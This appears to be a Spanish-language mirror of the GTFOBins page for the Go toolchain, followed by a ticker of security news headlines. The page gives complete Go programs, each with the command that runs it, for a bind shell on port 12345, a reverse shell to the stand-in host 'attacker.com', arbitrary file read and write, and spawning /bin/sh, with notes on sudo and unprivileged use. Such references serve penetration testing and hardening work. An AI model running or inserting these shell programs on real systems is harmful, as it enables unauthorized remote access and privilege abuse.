Ir al contenido
root@defcon-rd // ./arsenal/gtfobins/go

go

/ binary
go
/ functions
5
/ contexts
2
/ aliases
./go --examples

Funciones y ejemplos de uso

bind-shell

sudo unprivileged
echo -e 'package main\nimport (\n\t"os"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], []byte{0,0,0,0})\n\tsyscall.Bind(fd, addr)\n\tsyscall.Listen(fd, 1)\n\tnfd, _, _ := syscall.Accept(fd)\n\tsyscall.Dup2(nfd, 0)\n\tsyscall.Dup2(nfd, 1)\n\tsyscall.Dup2(nfd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

file-read

sudo unprivileged
echo -e 'package main\nimport (\n\t"fmt"\n\t"os"\n)\n\nfunc main(){\n\tb, _ := os.ReadFile("/path/to/input-file")\n\tfmt.Print(string(b))\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

file-write

sudo unprivileged
echo -e 'package main\nimport "os"\nfunc main(){\n\tf, _ := os.OpenFile("/path/to/output-file", os.O_RDWR|os.O_CREATE, 0644)\n\tf.Write([]byte("DATA\\n"))\n\tf.Close()\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

reverse-shell

sudo unprivileged
echo -e 'package main\nimport (\n\t"os"\n\t"net"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\tip := net.ParseIP("attacker.com").To4()\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], ip)\n\tsyscall.Connect(fd, addr)\n\tsyscall.Dup2(fd, 0)\n\tsyscall.Dup2(fd, 1)\n\tsyscall.Dup2(fd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

shell

sudo unprivileged
echo -e 'package main\nimport "syscall"\nfunc main(){\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, []string{})\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go
./related --binary=go

Binarios relacionados

Comparten al menos una función con go.

CYBER ALERT
The Hacker News :: RedWing MaaS Packages Android Bank Fraud as a Telegram Rental Service The Hacker News :: Rogue Agent Flaw Could Have Let Attackers Hijack Google Dialogflow CX Chatbots The Hacker News :: DEBULL Tooling Abuses Microsoft Device-Code Flow to Target M365 Accounts The Hacker News :: Public GitHub Issue Could Trick GitHub Agentic Workflows Into Leaking Private Repo Data The Hacker News :: Court Filing Reveals Windows Device ID Helped FBI Trace Alleged Scattered Spider Hacker The Hacker News :: Writer AI Flaw Could Let Agent Previews Leak Session Tokens Across Tenants SANS ISC :: More Odd DNS Records: NIMLOC, (Tue, Jul 7th) The Hacker News :: What Changes When Your Software Supply Chain Includes AI Writing Your Code? InfoSecurity Magazine :: Suspected Chinese Threat Group Targets Universities via Vulnerable Roundcube Servers The Hacker News :: Suspected China-Aligned Hackers Exploit Roundcube Flaws Against Universities InfoSecurity Magazine :: Scattered Spider’s Structure More Like a Cybercrime Collective Than a Unified Gang The Hacker News :: CERT/CC Warns of Hidden Admin Backdoor in Tenda Router Firmware The Hacker News :: BeyondTrust Patches Critical Auth Bypass Flaws in Remote Support and PRA InfoSecurity Magazine :: UK Government Launches Cyber Resilience Pledge, Claiming 60+ Signatories InfoSecurity Magazine :: Hackers Exploit Maximum Severity Adobe ColdFusion Flaw InfoSecurity Magazine :: Phishing Attacks Targeted Facebook Users With Fake Verification Offer SANS ISC :: ISC Stormcast For Tuesday, July 7th, 2026 https://isc.sans.edu/podcastdetail/9996, (Tue, Jul 7th) The Hacker News :: Iran-Linked Hackers Use New Cavern C2 Framework to Target Israeli Organizations The Hacker News :: 16-Year-Old Linux KVM Flaw Lets Guest VMs Escape to Host on Intel and AMD x86 Systems The Hacker News :: Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure